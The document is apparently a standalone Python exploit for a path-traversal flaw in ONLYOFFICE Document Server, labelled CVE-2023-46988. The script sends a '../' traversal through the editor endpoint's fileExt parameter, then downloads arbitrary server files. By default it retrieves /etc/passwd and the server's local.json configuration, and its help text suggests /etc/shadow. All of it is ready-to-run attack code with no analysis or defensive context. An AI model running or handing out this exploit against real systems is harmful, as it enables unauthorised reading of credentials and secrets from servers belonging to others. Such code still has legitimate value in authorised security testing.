import requests import re import sys import argparse from urllib.parse import urlparse, parse_qs, unquote, quote # Disable SSL warnings (user can override with --verify flag) requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def get_protocol(url): """Return the protocol (http or https) based on the URL.""" if url.startswith("https://"): return "https" elif url.startswith("http://"): return "http" else: print("[!] Invalid URL format. Use http:// or https://") sys.exit(-1) def retrieve_secrets(url, file_path, proxies, verify_ssl): protocol = get_protocol(url) # Get protocol (http or https) # Define default files to retrieve if none are provided files_to_download = ["/etc/passwd", "/etc/onlyoffice/documentserver/local.json"] # If user specifies a file, download only that file if file_path: files_to_download = [file_path] for target_file in files_to_download: print(f"[*] Attempting to retrieve: {target_file}") target_url = f'{url}/example/editor?fileExt=../../../../../../../../{target_file.lstrip("/")}' print(f"[*] Sending request to: {target_url}") try: response = requests.get(target_url, proxies=proxies, allow_redirects=False, timeout=10, verify=verify_ssl) # Extract redirect URL match = re.search(r"Found\. Redirecting to (http[^\s]+)", response.text) if match: redirect_url = match.group(1) print(f"[+] Extracted Redirect URL: {redirect_url}") # Parse the URL and extract 'fileName' parameter parsed_url = urlparse(redirect_url) query_params = parse_qs(parsed_url.query) if 'fileName' in query_params: extracted_value = unquote(query_params['fileName'][0]).strip() print(f"[+] Extracted File Name: {extracted_value}") encoded_filename = quote(extracted_value) # Fix: Add "%20" if filename starts with "(" if extracted_value.startswith("("): encoded_filename = "%20" + quote(extracted_value) else: encoded_filename = quote(extracted_value) # Download the extracted file with the encoded name download_file(f'{url}/example/download?fileName={encoded_filename}', extracted_value, proxies, verify_ssl) else: print("[-] No 'fileName' parameter found in the redirect URL.") else: print("[-] No redirection URL found in response body.") except requests.RequestException as e: print(f"[!] Request failed: {e}") def download_file(url, filename, proxies, verify_ssl): """Download the file and save it with the extracted filename.""" try: response = requests.get(url, proxies=proxies, stream=True, timeout=10, verify=verify_ssl) if response.status_code == 200: with open(filename, 'wb') as file: for chunk in response.iter_content(chunk_size=8192): file.write(chunk) print(f"[+] File downloaded successfully: {filename}") else: print(f"[-] Failed to download file. HTTP Status: {response.status_code}") except requests.RequestException as e: print(f"[!] Error downloading file: {e}") def main(): parser = argparse.ArgumentParser(description="ONLYOFFICE Path Traversal Exploit (CVE-2023-46988)") parser.add_argument("url", help="Target URL (e.g., https://example.local)") parser.add_argument("--file", help="File path to retrieve (e.g., /etc/shadow)") parser.add_argument("--proxy", nargs="?", const="http://127.0.0.1:8080", help="Use proxy (default: Burp Suite on http://127.0.0.1:8080). Provide custom proxy if needed.") parser.add_argument("--verify", action="store_true", help="Enable SSL verification") args = parser.parse_args() proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None verify_ssl = args.verify # Enable SSL verification if flag is set print(f"[*] Target URL: {args.url}") retrieve_secrets(args.url, args.file, proxies, verify_ssl) if __name__ == "__main__": main()